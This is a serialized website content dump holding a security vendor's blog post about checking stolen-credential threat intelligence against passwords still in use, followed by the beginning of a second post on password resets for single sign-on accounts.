{"type":926},{"data":157476,"content":157477,"nodeType":866},{},[157478],{"data":157479,"marks":157480,"value":149524,"nodeType":865},{},[],{"data":157482,"content":157483,"nodeType":866},{},[157484],{"data":157485,"marks":157486,"value":149531,"nodeType":865},{},[],{"data":157488,"content":157489,"nodeType":866},{},[157490],{"data":157491,"marks":157492,"value":149538,"nodeType":865},{},[],{"data":157494,"content":157495,"nodeType":866},{},[157496],{"data":157497,"marks":157498,"value":149545,"nodeType":865},{},[],{"data":157500,"content":157501,"nodeType":866},{},[157502],{"data":157503,"marks":157504,"value":149552,"nodeType":865},{},[],{"data":157506,"content":157507,"nodeType":1616},{},[157508,157527,157546,157565,157584],{"data":157509,"content":157510,"nodeType":1570},{},[157511],{"data":157512,"content":157513,"nodeType":866},{},[157514,157517,157524],{"data":157515,"marks":157516,"value":149565,"nodeType":865},{},[],{"data":157518,"content":157519,"nodeType":889},{"uri":4147},[157520],{"data":157521,"marks":157522,"value":53721,"nodeType":865},{},[157523],{"type":943},{"data":157525,"marks":157526,"value":46245,"nodeType":865},{},[],{"data":157528,"content":157529,"nodeType":1570},{},[157530],{"data":157531,"content":157532,"nodeType":866},{},[157533,157536,157543],{"data":157534,"marks":157535,"value":149585,"nodeType":865},{},[],{"data":157537,"content":157538,"nodeType":889},{"uri":149588},[157539],{"data":157540,"marks":157541,"value":149594,"nodeType":865},{},[157542],{"type":943},{"data":157544,"marks":157545,"value":46245,"nodeType":865},{},[],{"data":157547,"content":157548,"nodeType":1570},{},[157549],{"data":157550,"content":157551,"nodeType":866},{},[157552,157555,157562],{"data":157553,"marks":157554,"value":149607,"nodeType":865},{},[],{"data":157556,"content":157557,"nodeType":889},{"uri":149610},[157558],{"data":157559,"marks":157560,"value":149616,"nodeType":865},{},[157561],{"type":943},{"data":157563,"marks":157564,"value":46245,"nodeType":865},{},[],{"data":157566,"content":157567,"nodeType":1570},{},[157568],{"data":157569,"content":157570,"nodeType":866},{},[157571,157574,157581],{"data":157572,"marks":157573,"value":149629,"nodeType":865},{},[],{"data":157575,"content":157576,"nodeType":889},{"uri":131785},[157577],{"data":157578,"marks":157579,"value":8641,"nodeType":865},{},[157580],{"type":943},{"data":157582,"marks":157583,"value":46245,"nodeType":865},{},[],{"data":157585,"content":157586,"nodeType":1570},{},[157587],{"data":157588,"content":157589,"nodeType":866},{},[157590,157593,157600],{"data":157591,"marks":157592,"value":149649,"nodeType":865},{},[],{"data":157594,"content":157595,"nodeType":889},{"uri":149652},[157596],{"data":157597,"marks":157598,"value":149658,"nodeType":865},{},[157599],{"type":943},{"data":157601,"marks":157602,"value":46245,"nodeType":865},{},[],{"data":157604,"content":157605,"nodeType":866},{},[157606,157609,157613],{"data":157607,"marks":157608,"value":149668,"nodeType":865},{},[],{"data":157610,"marks":157611,"value":149673,"nodeType":865},{},[157612],{"type":926},{"data":157614,"marks":157615,"value":149677,"nodeType":865},{},[],{"data":157617,"content":157618,"nodeType":866},{},[157619],{"data":157620,"marks":157621,"value":149684,"nodeType":865},{},[],{"data":157623,"content":157626,"nodeType":912},{"target":157624},{"sys":157625},{"id":149689,"type":909,"linkType":910},[],{"data":157628,"content":157629,"nodeType":972},{},[],{"data":157631,"content":157632,"nodeType":981},{},[157633],{"data":157634,"marks":157635,"value":149701,"nodeType":865},{},[157636],{"type":926},{"data":157638,"content":157639,"nodeType":866},{},[157640],{"data":157641,"marks":157642,"value":149708,"nodeType":865},{},[],{"data":157644,"content":157645,"nodeType":1616},{},[157646,157675,157694],{"data":157647,"content":157648,"nodeType":1570},{},[157649],{"data":157650,"content":157651,"nodeType":866},{},[157652,157655,157662,157665,157672],{"data":157653,"marks":157654,"value":21,"nodeType":865},{},[],{"data":157656,"content":157657,"nodeType":889},{"uri":13526},[157658],{"data":157659,"marks":157660,"value":149728,"nodeType":865},{},[157661],{"type":943},{"data":157663,"marks":157664,"value":149732,"nodeType":865},{},[],{"data":157666,"content":157667,"nodeType":889},{"uri":131722},[157668],{"data":157669,"marks":157670,"value":149740,"nodeType":865},{},[157671],{"type":943},{"data":157673,"marks":157674,"value":149744,"nodeType":865},{},[],{"data":157676,"content":157677,"nodeType":1570},{},[157678],{"data":157679,"content":157680,"nodeType":866},{},[157681,157684,157691],{"data":157682,"marks":157683,"value":21,"nodeType":865},{},[],{"data":157685,"content":157686,"nodeType":889},{"uri":62386},[157687],{"data":157688,"marks":157689,"value":149761,"nodeType":865},{},[157690],{"type":943},{"data":157692,"marks":157693,"value":149765,"nodeType":865},{},[],{"data":157695,"content":157696,"nodeType":1570},{},[157697],{"data":157698,"content":157699,"nodeType":866},{},[157700],{"data":157701,"marks":157702,"value":149775,"nodeType":865},{},[],{"data":157704,"content":157705,"nodeType":866},{},[157706],{"data":157707,"marks":157708,"value":149782,"nodeType":865},{},[],{"data":157710,"content":157711,"nodeType":866},{},[157712,157715,157722],{"data":157713,"marks":157714,"value":149789,"nodeType":865},{},[],{"data":157716,"content":157717,"nodeType":889},{"uri":1372},[157718],{"data":157719,"marks":157720,"value":149797,"nodeType":865},{},[157721],{"type":943},{"data":157723,"marks":157724,"value":1615,"nodeType":865},{},[],{"entries":157726},{"hyperlink":157727,"inline":157728,"block":157729},[],[],[157730,157733,157740,157743],{"sys":157731,"__typename":1414,"type":1415,"ctaText":157732,"buttonLabel":134228,"buttonColour":1418,"buttonUrl":110363},{"id":149277},"Learn about how attack paths are changing with the shift to SaaS-based IT here",{"sys":157734,"__typename":1390,"title":157735,"caption":157736,"layoutMode":59,"file":157737},{"id":149329},"Identity-related breaches in 2024","Bold names are particularly notable for their significance and impact. A snowflake symbol indicates that the victim was impacted as part of the wider campaign against Snowflake customers. Dollar sign indicates that a ransom payment was confirmed.",{"url":157738,"width":129357,"height":157739},"https://images.ctfassets.net/y1cdw1ablpvd/6AYqSpjNFFdEHnjviy5R7y/c1566a4f95e3c4d547abddba22ea2fd2/2024_identity_attacks__1_.png",1150,{"sys":157741,"__typename":1414,"type":1415,"ctaText":157742,"buttonLabel":134228,"buttonColour":114626,"buttonUrl":3488},{"id":149459},"Read more about the Snowflake incident in our blog post",{"sys":157744,"__typename":1414,"type":1415,"ctaText":157745,"buttonLabel":134228,"buttonColour":148156,"buttonUrl":132077},{"id":149689},"For more information on the rise of infostealers, check out our deep-dive here",{"items":157747},[],{},"Public breaches from identity attacks in 2024",{"url":157738},{"items":157752},[157753,158460,158806],{"__typename":1429,"sys":157754,"content":157755,"title":87627,"synopsis":158448,"hashTags":59,"publishedDate":158449,"slug":87628,"tagsCollection":158450,"authorsCollection":158456},{"id":80231},{"json":157756},{"data":157757,"content":157758,"nodeType":1382},{},[157759,157765,157768,157784,157791,157798,157804,157811,157829,157848,157855,157861,157868,157871,157878,157885,157892,157899,157906,157913,157946,157952,157959,157962,157969,157976,158091,158098,158116,158123,158141,158148,158168,158175,158193,158196,158203,158210,158217,158248,158255,158262,158280,158286,158293,158300,158306,158313,158375,158382,158389,158396,158403,158410,158413,158420,158437,158442],{"data":157760,"content":157764,"nodeType":912},{"target":157761},{"sys":157762},{"id":157763,"type":909,"linkType":910},"HcoxuG8EK0w5uFQlN0hbh",[],{"data":157766,"content":157767,"nodeType":972},{},[],{"data":157769,"content":157770,"nodeType":866},{},[157771,157775,157780],{"data":157772,"marks":157773,"value":157774,"nodeType":865},{},[],"While ",{"data":157776,"marks":157777,"value":157779,"nodeType":865},{},[157778],{"type":898},"striking",{"data":157781,"marks":157782,"value":157783,"nodeType":865},{},[]," gold sure feels good, mining for gold doesn’t. All that sifting for a few grains of value. ",{"data":157785,"content":157786,"nodeType":866},{},[157787],{"data":157788,"marks":157789,"value":157790,"nodeType":865},{},[],"If you’ve ever tried to make use of a TI feed on stolen credentials, you’ll know exactly how this feels. Yet the need to identify signal from noise is obvious. When it matters, it really matters. ",{"data":157792,"content":157793,"nodeType":866},{},[157794],{"data":157795,"marks":157796,"value":157797,"nodeType":865},{},[],"While there’s an enormous volume of TI data available on stolen creds, data trustworthiness is much harder to establish. Are these creds still in use? Are they in use on company applications? And without trust in the data, it’s harder to take action.",{"data":157799,"content":157803,"nodeType":912},{"target":157800},{"sys":157801},{"id":157802,"type":909,"linkType":910},"4unFZadFrWEQsiHsD3YAEo",[],{"data":157805,"content":157806,"nodeType":866},{},[157807],{"data":157808,"marks":157809,"value":157810,"nodeType":865},{},[],"We set out to solve this problem at Push and ended up flipping the script on conventional approaches to evaluating TI on stolen credentials. (Lay down your shovel, friend.)",{"data":157812,"content":157813,"nodeType":7584},{},[157814],{"data":157815,"content":157816,"nodeType":866},{},[157817,157821,157826],{"data":157818,"marks":157819,"value":157820,"nodeType":865},{},[],"With our latest release, Push takes TI on stolen credentials sourced from criminal forums and compares it to the actual credentials still being used across customer environments, ",{"data":157822,"marks":157823,"value":157825,"nodeType":865},{},[157824],{"type":926},"alerting on validated true positives only",{"data":157827,"marks":157828,"value":6719,"nodeType":865},{},[],{"data":157830,"content":157831,"nodeType":866},{},[157832,157836,157844],{"data":157833,"marks":157834,"value":157835,"nodeType":865},{},[],"As of January 2025, you can also bring your own TI to the Push platform. Using the ",{"data":157837,"content":157839,"nodeType":889},{"uri":157838},"https://pushsecurity.redoc.ly/rest-v1#tag/Stolen-credential-detection",[157840],{"data":157841,"marks":157842,"value":157843,"nodeType":865},{},[],"Push REST API",{"data":157845,"marks":157846,"value":157847,"nodeType":865},{},[],", you can share stolen credential reports you receive from your existing vendors and task the Push browser agent with finding the ones still in use by employees.",{"data":157849,"content":157850,"nodeType":866},{},[157851],{"data":157852,"marks":157853,"value":157854,"nodeType":865},{},[],"Call it the “dirt in, gold out” model for TI feeds.",{"data":157856,"content":157860,"nodeType":912},{"target":157857},{"sys":157858},{"id":157859,"type":909,"linkType":910},"5VtuerdMpP4U9yL7pjrb4P",[],{"data":157862,"content":157863,"nodeType":866},{},[157864],{"data":157865,"marks":157866,"value":157867,"nodeType":865},{},[],"In this article, we’ll cover some of the challenges with threat intel on stolen credentials, why the rise of infostealers has added urgency to determining the trustworthiness of this category of threat, and how Push’s approach of validating stolen credentials cuts through uncertainty. ",{"data":157869,"content":157870,"nodeType":972},{},[],{"data":157872,"content":157873,"nodeType":981},{},[157874],{"data":157875,"marks":157876,"value":157877,"nodeType":865},{},[],"Why actionable intel on creds is hard",{"data":157879,"content":157880,"nodeType":866},{},[157881],{"data":157882,"marks":157883,"value":157884,"nodeType":865},{},[],"Both threat actors and security teams have ready access to information on stolen credentials, with obviously opposite goals. There is now a robust economy for this data, driven in part by both the success of attacks using stolen creds, and the SaaS-ification of business software. In the past, security teams could audit their Active Directory passwords. Today, many if not most corporate credentials are stored in apps that do not provide that level of visibility.",{"data":157886,"content":157887,"nodeType":866},{},[157888],{"data":157889,"marks":157890,"value":157891,"nodeType":865},{},[],"So when it comes to stolen credential TI, the challenge is not the availability of data — dozens of vendors already do the hard work of establishing presences in these forums in order to collect and disseminate information on credentials such as usernames, passwords, cookies, and API keys that have been stolen through data breaches, phishing attacks, infostealers, or other methods. ",{"data":157893,"content":157894,"nodeType":1317},{},[157895],{"data":157896,"marks":157897,"value":157898,"nodeType":865},{},[],"Too much data, not enough context",{"data":157900,"content":157901,"nodeType":866},{},[157902],{"data":157903,"marks":157904,"value":157905,"nodeType":865},{},[],"Rather, the difficulty is determining which information to act on. Finding the gold, in other words.",{"data":157907,"content":157908,"nodeType":866},{},[157909],{"data":157910,"marks":157911,"value":157912,"nodeType":865},{},[],"TI on stolen credentials often suffers from:",{"data":157914,"content":157915,"nodeType":1616},{},[157916,157931],{"data":157917,"content":157918,"nodeType":1570},{},[157919],{"data":157920,"content":157921,"nodeType":866},{},[157922,157927],{"data":157923,"marks":157924,"value":157926,"nodeType":865},{},[157925],{"type":926},"Data overload:",{"data":157928,"marks":157929,"value":157930,"nodeType":865},{},[]," The double bind of TI is especially evident here — once you know about a potential true positive, you feel obligated to investigate, yet the scale of the information and the high incidence of outdated or incomplete information can pose a risk of desensitizing the SOC or wasting dozens of hours of time investigating what turn out to be false positives, especially when that time could have been better spent on in-depth threat hunting.",{"data":157932,"content":157933,"nodeType":1570},{},[157934],{"data":157935,"content":157936,"nodeType":866},{},[157937,157942],{"data":157938,"marks":157939,"value":157941,"nodeType":865},{},[157940],{"type":926},"Minimal context:",{"data":157943,"marks":157944,"value":157945,"nodeType":865},{},[]," Intelligence is often incomplete or out of date. TI feeds may present stolen passwords as new breaches, but the data is actually a recycled combolist (aggregated list of lists) rather than a new incident. In some situations, infostealer threat intel can stem from a personal device that was compromised and once accessed corporate assets, but is no longer active or using that password. Then there are the false negatives, where you get an alert for stolen credentials on a core app following a breach, and the creds are no longer in use there — but they are still being used on a different high-value app. ",{"data":157947,"content":157951,"nodeType":912},{"target":157948},{"sys":157949},{"id":157950,"type":909,"linkType":910},"40ZWbzJFQLRjCAaFCA0YLS",[],{"data":157953,"content":157954,"nodeType":866},{},[157955],{"data":157956,"marks":157957,"value":157958,"nodeType":865},{},[],"Despite these challenges, there is still a strong case for incorporating TI on stolen creds into your cyber defense practice for one important reason: Attackers are increasingly using stolen credentials to compromise organizations.",{"data":157960,"content":157961,"nodeType":972},{},[],{"data":157963,"content":157964,"nodeType":981},{},[157965],{"data":157966,"marks":157967,"value":157968,"nodeType":865},{},[],"The commodification of stolen creds in the age of infostealers",{"data":157970,"content":157971,"nodeType":866},{},[157972],{"data":157973,"marks":157974,"value":157975,"nodeType":865},{},[],"A few headline stats on how ubiquitous stolen credential exploitation has become:",{"data":157977,"content":157978,"nodeType":1616},{},[157979,158000,158022,158045,158081],{"data":157980,"content":157981,"nodeType":1570},{},[157982],{"data":157983,"content":157984,"nodeType":866},{},[157985,157988,157996],{"data":157986,"marks":157987,"value":1449,"nodeType":865},{},[],{"data":157989,"content":157990,"nodeType":889},{"uri":4147},[157991],{"data":157992,"marks":157993,"value":157995,"nodeType":865},{},[157994],{"type":943},"2024 Verizon DBIR",{"data":157997,"marks":157998,"value":157999,"nodeType":865},{},[]," found that 79% of web application compromises were the result of breached credentials.",{"data":158001,"content":158002,"nodeType":1570},{},[158003],{"data":158004,"content":158005,"nodeType":866},{},[158006,158009,158018],{"data":158007,"marks":158008,"value":21,"nodeType":865},{},[],{"data":158010,"content":158012,"nodeType":889},{"uri":158011},"https://www.ibm.com/reports/threat-intelligence",[158013],{"data":158014,"marks":158015,"value":158017,"nodeType":865},{},[158016],{"type":943},"Researchers at IBM",{"data":158019,"marks":158020,"value":158021,"nodeType":865},{},[]," identified a 71% year-over-year increase in cyberattacks using stolen or compromised credentials. This jump made stolen creds the No. 1 source of initial access for cyberattacks in their study. They also found a 266% uptick in the last year in the use of infostealers — malware designed to capture passwords, cookies, and other credential data.",{"data":158023,"content":158024,"nodeType":1570},{},[158025],{"data":158026,"content":158027,"nodeType":866},{},[158028,158032,158041],{"data":158029,"marks":158030,"value":158031,"nodeType":865},{},[],"Researchers at threat intelligence provider ",{"data":158033,"content":158035,"nodeType":889},{"uri":158034},"https://go.recordedfuture.com/hubfs/reports/ta-2024-0321.pdf",[158036],{"data":158037,"marks":158038,"value":158040,"nodeType":865},{},[158039],{"type":943},"Recorded Future",{"data":158042,"marks":158043,"value":158044,"nodeType":865},{},[]," found a 135% increase last year in the number of harvested credentials among their data sources, and a 166% increase in credentials that included cookies, providing an easy way for attackers to bypass MFA protections.",{"data":158046,"content":158047,"nodeType":1570},{},[158048],{"data":158049,"content":158050,"nodeType":866},{},[158051,158055,158064,158068,158077],{"data":158052,"marks":158053,"value":158054,"nodeType":865},{},[],"Meanwhile, Mandiant’s last two ",{"data":158056,"content":158058,"nodeType":889},{"uri":158057},"https://cloud.google.com/security/resources/m-trends",[158059],{"data":158060,"marks":158061,"value":158063,"nodeType":865},{},[158062],{"type":943},"M-Trends reports",{"data":158065,"marks":158066,"value":158067,"nodeType":865},{},[]," found that stolen creds were the third and fourth most-used initial intrusion method of the last two years. Cisco Talos researchers found that the ",{"data":158069,"content":158071,"nodeType":889},{"uri":158070},"https://blog.talosintelligence.com/cisco-talos-2023-year-in-review/",[158072],{"data":158073,"marks":158074,"value":158076,"nodeType":865},{},[158075],{"type":943},"use of valid accounts",{"data":158078,"marks":158079,"value":158080,"nodeType":865},{},[]," was the second-most common attack technique they observed last year.",{"data":158082,"content":158083,"nodeType":1570},{},[158084],{"data":158085,"content":158086,"nodeType":866},{},[158087],{"data":158088,"marks":158089,"value":158090,"nodeType":865},{},[],"Push’s own review of the 25 most notable public identity-related breaches over the last year found that 23 were tied to stolen credentials.",{"data":158092,"content":158093,"nodeType":866},{},[158094],{"data":158095,"marks":158096,"value":158097,"nodeType":865},{},[],"What’s not immediately obvious from these statistics is that not only are credential-based attacks becoming more common, but they’re also becoming easier for attackers to execute.",{"data":158099,"content":158100,"nodeType":866},{},[158101,158104,158112],{"data":158102,"marks":158103,"value":21,"nodeType":865},{},[],{"data":158105,"content":158106,"nodeType":889},{"uri":158011},[158107],{"data":158108,"marks":158109,"value":158111,"nodeType":865},{},[158110],{"type":943},"IBM X-Force researchers",{"data":158113,"marks":158114,"value":158115,"nodeType":865},{},[]," have found that credentials for cloud accounts account for 90% of all cloud assets for sale on the dark web, making them readily accessible. Price tags can be as low as $10.",{"data":158117,"content":158118,"nodeType":1317},{},[158119],{"data":158120,"marks":158121,"value":158122,"nodeType":865},{},[],"The rise of infostealers has supercharged the stolen credential marketplace",{"data":158124,"content":158125,"nodeType":866},{},[158126,158130,158138],{"data":158127,"marks":158128,"value":158129,"nodeType":865},{},[],"One category of threat — infostealer malware — has emerged as an especially successful avenue of compromise. While infostealers aren’t new, they have developed alongside what is now a robust economy for stolen credentials (think: dedicated Telegram channels advertising stolen data from the most popular infostealers), making them a fruitful option for attackers. For a deeper dive on the rise of infostealers, see our ",{"data":158131,"content":158132,"nodeType":889},{"uri":132077},[158133],{"data":158134,"marks":158135,"value":158137,"nodeType":865},{},[158136],{"type":943},"previous article",{"data":158139,"marks":158140,"value":1615,"nodeType":865},{},[],{"data":158142,"content":158143,"nodeType":866},{},[158144],{"data":158145,"marks":158146,"value":158147,"nodeType":865},{},[],"Once attackers gain possession of stolen creds, they have plenty of soft targets. For organizations with a large amount of SaaS — a percentage of which will always be unmanaged shadow IT or freemium — the risk is heightened because all attackers need to do is log in to potentially hundreds of services, dump the data they find (including additional creds in some cases), and profit. ",{"data":158149,"content":158150,"nodeType":866},{},[158151,158155,158164],{"data":158152,"marks":158153,"value":158154,"nodeType":865},{},[],"In other words, the average attack path for SaaS is shorter and occurs in-app, often using legitimate workflows, making it therefore harder to detect than traditional network exploits. We discuss this phenomenon in our ",{"data":158156,"content":158157,"nodeType":889},{"uri":110363},[158158],{"data":158159,"marks":158160,"value":158163,"nodeType":865},{},[158161,158162],{"type":943},{"type":926},"shifting detection left",{"data":158165,"marks":158166,"value":158167,"nodeType":865},{},[]," article.",{"data":158169,"content":158170,"nodeType":866},{},[158171],{"data":158172,"marks":158173,"value":158174,"nodeType":865},{},[],"Our take: We haven’t yet seen the peak of identity attacks that leverage compromised credentials. The opportunities for attackers are too numerous, and front-line defenses like MFA are still not widely enough enforced, particularly on unmanaged apps used for work.",{"data":158176,"content":158177,"nodeType":866},{},[158178,158182,158189],{"data":158179,"marks":158180,"value":158181,"nodeType":865},{},[],"Push Security’s ",{"data":158183,"content":158184,"nodeType":889},{"uri":6698},[158185],{"data":158186,"marks":158187,"value":135868,"nodeType":865},{},[158188],{"type":943},{"data":158190,"marks":158191,"value":158192,"nodeType":865},{},[]," has found that 37% of corporate identities are using passwords with no MFA. For attackers in possession of stolen creds, these are easy marks.",{"data":158194,"content":158195,"nodeType":972},{},[],{"data":158197,"content":158198,"nodeType":981},{},[158199],{"data":158200,"marks":158201,"value":158202,"nodeType":865},{},[],"How Push detects stolen creds with high confidence",{"data":158204,"content":158205,"nodeType":866},{},[158206],{"data":158207,"marks":158208,"value":158209,"nodeType":865},{},[],"Now let’s take a look at how Push’s approach to this problem is different.",{"data":158211,"content":158212,"nodeType":866},{},[158213],{"data":158214,"marks":158215,"value":158216,"nodeType":865},{},[],"If you’re not familiar with the Push platform, a bit of context will be useful here: Push uses a browser agent deployed to employee browsers (we support all major browsers) to prevent, detect, and block identity attacks. ",{"data":158218,"content":158219,"nodeType":866},{},[158220,158224,158232,158236,158244],{"data":158221,"marks":158222,"value":158223,"nodeType":865},{},[],"In addition to enforcing ",{"data":158225,"content":158226,"nodeType":889},{"uri":13849},[158227],{"data":158228,"marks":158229,"value":158231,"nodeType":865},{},[158230],{"type":943},"security controls",{"data":158233,"marks":158234,"value":158235,"nodeType":865},{},[]," in the browser, Push also assesses the strength of end-user passwords by ",{"data":158237,"content":158238,"nodeType":889},{"uri":136312},[158239],{"data":158240,"marks":158241,"value":158243,"nodeType":865},{},[158242],{"type":943},"creating and analyzing",{"data":158245,"marks":158246,"value":158247,"nodeType":865},{},[]," a truncated, salted SHA256 hash of the password for a given account. This is called a password fingerprint. These k-anonymized fingerprints are never seen by Push’s back-end and exist only in local browser extension storage.",{"data":158249,"content":158250,"nodeType":866},{},[158251],{"data":158252,"marks":158253,"value":158254,"nodeType":865},{},[],"This approach gives Push a directly observable source of truth for corporate credentials, and that data point turns out to be the key to flipping the script on how threat intelligence on stolen credentials is typically evaluated.",{"data":158256,"content":158257,"nodeType":866},{},[158258],{"data":158259,"marks":158260,"value":158261,"nodeType":865},{},[],"In the past, evaluating TI on stolen creds meant performing traditional intelligence assessments, such as confidence level based on factors like the intel source and whether the data was still current. Only after determining whether the information was high-confidence could you take action.",{"data":158263,"content":158264,"nodeType":866},{},[158265,158269,158276],{"data":158266,"marks":158267,"value":158268,"nodeType":865},{},[],"It’s worth noting, too, that the age of TI alone is not enough of an indicator to determine whether to take action. With the ",{"data":158270,"content":158271,"nodeType":889},{"uri":3488},[158272],{"data":158273,"marks":158274,"value":158275,"nodeType":865},{},[],"Snowflake breach earlier this year",{"data":158277,"marks":158278,"value":158279,"nodeType":865},{},[],", we saw how even older credentials posed a threat of account takeover where these creds were still in use. In the case of Snowflake, the attacker used credentials sourced from historical infostealer campaigns, some dating as far back as 2020.",{"data":158281,"content":158285,"nodeType":912},{"target":158282},{"sys":158283},{"id":158284,"type":909,"linkType":910},"2lSZ7HbZfLmSFXneCnVJzY",[],{"data":158287,"content":158288,"nodeType":1317},{},[158289],{"data":158290,"marks":158291,"value":158292,"nodeType":865},{},[],"Forget about time-consuming manual TI validation and get straight to the true positives",{"data":158294,"content":158295,"nodeType":866},{},[158296],{"data":158297,"marks":158298,"value":158299,"nodeType":865},{},[],"With Push, the platform now can analyze threat intelligence on stolen credentials and alert when there’s a validated match among current credentials in use in your environment. This method works regardless of the source of the data or its age. This method also finds the needles in the haystack — situations where threat intel flags a stolen credential on one app, but that credential is also in use on several other apps. ",{"data":158301,"content":158305,"nodeType":912},{"target":158302},{"sys":158303},{"id":158304,"type":909,"linkType":910},"7GSFasHfHb3UgpgF8pZ2N2",[],{"data":158307,"content":158308,"nodeType":866},{},[158309],{"data":158310,"marks":158311,"value":158312,"nodeType":865},{},[],"Here’s how it works:",{"data":158314,"content":158315,"nodeType":1616},{},[158316,158336,158346,158356,158366],{"data":158317,"content":158318,"nodeType":1570},{},[158319],{"data":158320,"content":158321,"nodeType":866},{},[158322,158326,158333],{"data":158323,"marks":158324,"value":158325,"nodeType":865},{},[],"Push receives TI on stolen credentials from vendor feeds. Use the feeds that Push supplies (at no additional cost for Push customers), or, additionally, bring your own TI by supplying stolen credential reports via the ",{"data":158327,"content":158329,"nodeType":889},{"uri":158328},"https://pushsecurity.redoc.ly/rest-v1#operation/post-controls-stolenCredentials",[158330],{"data":158331,"marks":158332,"value":157843,"nodeType":865},{},[],{"data":158334,"marks":158335,"value":6719,"nodeType":865},{},[],{"data":158337,"content":158338,"nodeType":1570},{},[158339],{"data":158340,"content":158341,"nodeType":866},{},[158342],{"data":158343,"marks":158344,"value":158345,"nodeType":865},{},[],"For each customer environment, Push checks for customer domains in the data set.",{"data":158347,"content":158348,"nodeType":1570},{},[158349],{"data":158350,"content":158351,"nodeType":866},{},[158352],{"data":158353,"marks":158354,"value":158355,"nodeType":865},{},[],"When suspected stolen creds for a customer environment are present, Push hashes and salts the passwords and then sends those fingerprints to the relevant browser agents for comparison. ",{"data":158357,"content":158358,"nodeType":1570},{},[158359],{"data":158360,"content":158361,"nodeType":866},{},[158362],{"data":158363,"marks":158364,"value":158365,"nodeType":865},{},[],"If the stolen credential fingerprint matches a known credential fingerprint observed to be in use by the Push browser agent, the platform returns a validated true positive alert. Note that Push can alert on a validated true positive regardless of which platform the TI source indicated was the source of the stolen cred, allowing you to find those compromised credentials in use across any of your apps.",{"data":158367,"content":158368,"nodeType":1570},{},[158369],{"data":158370,"content":158371,"nodeType":866},{},[158372],{"data":158373,"marks":158374,"value":123965,"nodeType":865},{},[],{"data":158376,"content":158377,"nodeType":866},{},[158378],{"data":158379,"marks":158380,"value":158381,"nodeType":865},{},[],"From there, security teams can take action to reset passwords, identify potentially compromised devices, or perform other investigations.",{"data":158383,"content":158384,"nodeType":866},{},[158385],{"data":158386,"marks":158387,"value":158388,"nodeType":865},{},[],"By comparing all possible matches to only those credentials that are still in use, Push eliminates time-consuming validation exercises. In essence, the provenance of the intel no longer matters; only the true positives do.",{"data":158390,"content":158391,"nodeType":1317},{},[158392],{"data":158393,"marks":158394,"value":158395,"nodeType":865},{},[],"Bring your own TI",{"data":158397,"content":158398,"nodeType":866},{},[158399],{"data":158400,"marks":158401,"value":158402,"nodeType":865},{},[],"With verified stolen credential detection, you can also extract a lot more value from your existing threat intelligence feeds by sharing stolen creds reports with the Push platform via API. ",{"data":158404,"content":158405,"nodeType":866},{},[158406],{"data":158407,"marks":158408,"value":158409,"nodeType":865},{},[],"This allows Push to perform the same checks to compare the reports to observed password fingerprints and flag only the true positives — eliminating the time-consuming work of manual triage, investigation, and end-user follow-up for your security team.",{"data":158411,"content":158412,"nodeType":972},{},[],{"data":158414,"content":158415,"nodeType":981},{},[158416],{"data":158417,"marks":158418,"value":158419,"nodeType":865},{},[],"Try Push for yourself",{"data":158421,"content":158422,"nodeType":866},{},[158423,158427,158434],{"data":158424,"marks":158425,"value":158426,"nodeType":865},{},[],"The validated stolen credential detections feature is available at no additional cost for all Push customers. If you’d like to explore the platform yourself, ",{"data":158428,"content":158429,"nodeType":889},{"uri":16069},[158430],{"data":158431,"marks":158432,"value":149797,"nodeType":865},{},[158433],{"type":943},{"data":158435,"marks":158436,"value":14251,"nodeType":865},{},[],{"data":158438,"content":158441,"nodeType":912},{"target":158439},{"sys":158440},{"id":62401,"type":909,"linkType":910},[],{"data":158443,"content":158444,"nodeType":866},{},[158445],{"data":158446,"marks":158447,"value":21,"nodeType":865},{},[],"Push now compares user passwords with TI feeds to alert you when valid credentials are available on the clearweb and darkweb.","2024-12-03T00:00:00.000Z",{"items":158451},[158452,158454],{"sys":158453,"name":126984},{"id":126983},{"sys":158455,"name":342},{"id":4642},{"items":158457},[158458],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":158459},{"url":6503},{"__typename":1429,"sys":158461,"content":158463,"title":158788,"synopsis":158789,"hashTags":59,"publishedDate":158790,"slug":158791,"tagsCollection":158792,"authorsCollection":158798},{"id":158462},"75wcCkoZEKwEMl7zBmDMtT",{"json":158464},{"data":158465,"content":158466,"nodeType":1382},{},[158467,158474,158481,158500,158518,158541,158548,158564,158571,158578,158585,158588,158595,158615,158633,158639,158658,158665,158672,158678,158685,158691,158724,158731,158750,158753,158760,158770,158776,158782],{"data":158468,"content":158469,"nodeType":981},{},[158470],{"data":158471,"marks":158472,"value":158473,"nodeType":865},{},[],"Preventing credential attacks with automated password resets ",{"data":158475,"content":158476,"nodeType":866},{},[158477],{"data":158478,"marks":158479,"value":158480,"nodeType":865},{},[],"Preventing credential attacks is not an easy task, especially if you’re a member of the security team tasked with protecting some of your organization’s most valued assets: SSO identities.",{"data":158482,"content":158483,"nodeType":866},{},[158484,158488,158497],{"data":158485,"marks":158486,"value":158487,"nodeType":865},{},[],"IdP accounts such as a user’s Okta, Entra, or Google Workspace login are the most lucrative identities that an attacker can take over. By compromising an SSO identity, attackers not only gain access to the account itself, but also any downstream apps accessed via SSO – and the juicy data and functionality stored there. This was evidenced earlier this year when ",{"data":158489,"content":158491,"nodeType":889},{"uri":158490},"https://www.bleepingcomputer.com/news/security/okta-warns-of-unprecedented-credential-stuffing-attacks-on-customers/",[158492],{"data":158493,"marks":158494,"value":158496,"nodeType":865},{},[158495],{"type":943},"Okta users experienced unprecedented levels of credential stuffing attacks",{"data":158498,"marks":158499,"value":14251,"nodeType":865},{},[],{"data":158501,"content":158502,"nodeType":866},{},[158503,158507,158515],{"data":158504,"marks":158505,"value":158506,"nodeType":865},{},[],"You might also be surprised to learn that even these most critical accounts have serious security gaps. For example, ",{"data":158508,"content":158509,"nodeType":889},{"uri":6698},[158510],{"data":158511,"marks":158512,"value":158514,"nodeType":865},{},[158513],{"type":943},"in a recent study we identified that",{"data":158516,"marks":158517,"value":84015,"nodeType":865},{},[],{"data":158519,"content":158520,"nodeType":1616},{},[158521,158531],{"data":158522,"content":158523,"nodeType":1570},{},[158524],{"data":158525,"content":158526,"nodeType":866},{},[158527],{"data":158528,"marks":158529,"value":158530,"nodeType":865},{},[],"1 in 5 IdP accounts does not have an MFA method set, leaving them exposed to single-factor compromises using stolen credentials.",{"data":158532,"content":158533,"nodeType":1570},{},[158534],{"data":158535,"content":158536,"nodeType":866},{},[158537],{"data":158538,"marks":158539,"value":158540,"nodeType":865},{},[],"10% of IdP accounts share a password that is used to access other identities. (We’re not talking about the actual SSO process here – many users will use the same password as they do to log into their Okta or Entra as they do personal accounts such as shopping or food delivery. Yes, really.)  